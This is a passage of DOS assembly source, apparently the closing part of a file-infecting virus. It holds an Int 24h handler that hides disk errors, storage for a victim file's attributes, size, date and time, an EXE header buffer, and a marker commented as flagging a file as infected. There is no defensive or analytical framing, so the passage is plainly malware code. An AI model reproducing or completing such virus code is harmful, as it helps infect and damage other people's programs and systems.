|
|
;===============================================================================
|
|
; Int 24h Handler
|
|
;===============================================================================
|
|
int24_handler:
|
|
mov al,3 ;don't report error...
|
|
iret ;later dude...
|
|
;-------------------------------------------------------------------------------
|
|
; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
|
|
|
|
close db 0 ;closing file
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; END - END - END - END - END - END - END
|
|
|
|
flags dw 0 ;Flags are saved here
|
|
attrib db 0 ;file's attrib
|
|
filesize dd 0 ;filesize
|
|
handle dw 0 ;file handler
|
|
old_date dw 0 ;file date
|
|
old_time dw 0 ;file time
|
|
org_time dw 0 ;original file time
|
|
|
|
;-------------------------------------------------------------------------------
|
|
buffer db 0CDh,020h ; 0 (0) EXE file signature
|
|
db 090h,090h ; 2 (2) Length of file
|
|
db 090h,090h ; 4 (4) Size of file + header (512k)
|
|
db 090h,090h ; 6 (6) # of relocation items
|
|
db 090h,090h ; 8 (8) Size of header (16byte para)
|
|
db 090h,090h ; A (10) Min para needed (16byte)
|
|
db 090h,090h ; C (12) Max para needed (16byte)
|
|
db 090h,090h ; E (14) SS reg from start in para.
|
|
db 090h,090h ; 10(16) SP reg at entry
|
|
db 090h,090h ; 12(18) checksum
|
|
db 090h,090h ; 14(20) IP reg at entry
|
|
db 090h,090h ; 16(22) CS reg from start in para.
|
|
Marker db 0DBh,0DBh ; Marks THIS File as INFECTED!
|
|
last:
|
|
seg_a ends
|
|
end start
|
|
================================================================================
|